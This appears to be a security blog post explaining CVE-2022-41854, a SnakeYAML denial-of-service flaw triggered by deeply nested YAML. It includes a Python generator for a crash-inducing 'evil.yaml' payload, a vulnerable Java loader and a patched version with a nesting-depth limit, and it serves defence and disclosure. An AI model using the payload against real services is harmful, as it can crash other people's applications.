If you’re dealing with YAML files in Java, chances are you’re using Snakeyaml. It’s the most popular YAML parser for Java, running behind the scenes in tools from Jenkins to Spring. But if you use Snakeyaml to process files or data from users, your app might be at risk for a Denial of Service (DoS) attack due to a vulnerability: CVE-2022-41854.
This post will walk through what this CVE means, how attackers can exploit it, and how to keep your applications safe. Whether you’re new to security or an old hand, you’ll find working code samples here and simple, direct advice.
What Is CVE-2022-41854?
The vulnerability, disclosed in October 2022, impacts anyone using Snakeyaml to load potentially untrusted (user-supplied) YAML content. The root problem: Snakeyaml does not protect itself from unreasonably deep nesting or recursion.
If an attacker provides a deeply nested YAML file, Snakeyaml runs out of stack memory and throws a StackOverflowError. This can bring down your entire app or service, especially if it parses YAML as part of every request.
The official description is here:
https://nvd.nist.gov/vuln/detail/CVE-2022-41854
GitHub advisory:
https://github.com/advisories/GHSA-8v9c-p94x-6f9h
Snakeyaml issue:
https://bitbucket.org/asomov/snakeyaml/issues/525/stackoverflowerror-for-deeply-nested
The Attack: How Does It Work?
Let’s see how this looks in practice. Here’s an example of YAML input that will crash most Snakeyaml-based apps:
a:
b:
c:
d:
e:
# ... repeat many times ...
But why type all that? You can autogenerate a file in Python or bash with a thousand nested levels:
Python generator example
depth = 10000
with open("evil.yaml", "w") as f:
for i in range(depth):
f.write("a:\n")
f.write("null\n")
When Snakeyaml loads this file, it tries to parse each nested object, calling itself again and again— until the Java VM throws a StackOverflowError, which by default kills your thread, often crashing your server or service.
Java Example: vulnerable Snakeyaml usage
import org.yaml.snakeyaml.Yaml;
import java.io.File;
import java.io.FileInputStream;
public class Demo {
public static void main(String[] args) throws Exception {
Yaml yaml = new Yaml();
try (FileInputStream fis = new FileInputStream(new File("evil.yaml"))) {
Object data = yaml.load(fis);
}
// At this point, the app will likely have crashed with StackOverflowError
System.out.println("YAML Loaded.");
}
}
What happens?
When you run this with a deeply nested YAML file, Snakeyaml will throw
Exception in thread "main" java.lang.StackOverflowError
at org.yaml.snakeyaml.composer.Composer.composeNode(Composer.java:123)
... (many more lines) ...
Result: The app is dead. If this happens on every request, your server is toast.
How To Fix Or Defend Against It
Upgrade to Snakeyaml 1.32 or later.
The maintainers added a LoaderOptions property so you can limit the allowable nesting depth.
Example: Safe Snakeyaml Usage
import org.yaml.snakeyaml.Yaml;
import org.yaml.snakeyaml.LoaderOptions;
import java.io.FileInputStream;
import java.io.File;
public class SafeDemo {
public static void main(String[] args) throws Exception {
LoaderOptions options = new LoaderOptions();
options.setMaxAliasesForCollections(50); // default is 50
options.setNestingDepthLimit(20); // limit depth to 20 levels
Yaml yaml = new Yaml(options);
// Now evil nesting will throw a YAMLException instead
try (FileInputStream fis = new FileInputStream(new File("evil.yaml"))) {
Object data = yaml.load(fis);
} catch (org.yaml.snakeyaml.error.YAMLException ex) {
System.err.println("Failed to parse YAML: " + ex.getMessage());
}
}
}
References & Further Reading
- Official NVD entry for CVE-2022-41854
- GitHub Security Advisory
- Snakeyaml issue tracker
- Snakeyaml 1.32 Release Notes
To Sum Up
CVE-2022-41854 is a classic case of trusting user inputs too much. Libraries like Snakeyaml are amazing, but out-of-the-box, they sometimes don't defend you from every trick an attacker might use.
If your Java app loads YAML from users, upgrade and set defensive limits. One evil file should never be able to kill your server— make sure you're safe!
*If you found this explanation useful, share it with your team! Security is everyone’s job.*
Timeline
Published on: 11/11/2022 13:15:00 UTC
Last modified on: 07/06/2023 04:15:00 UTC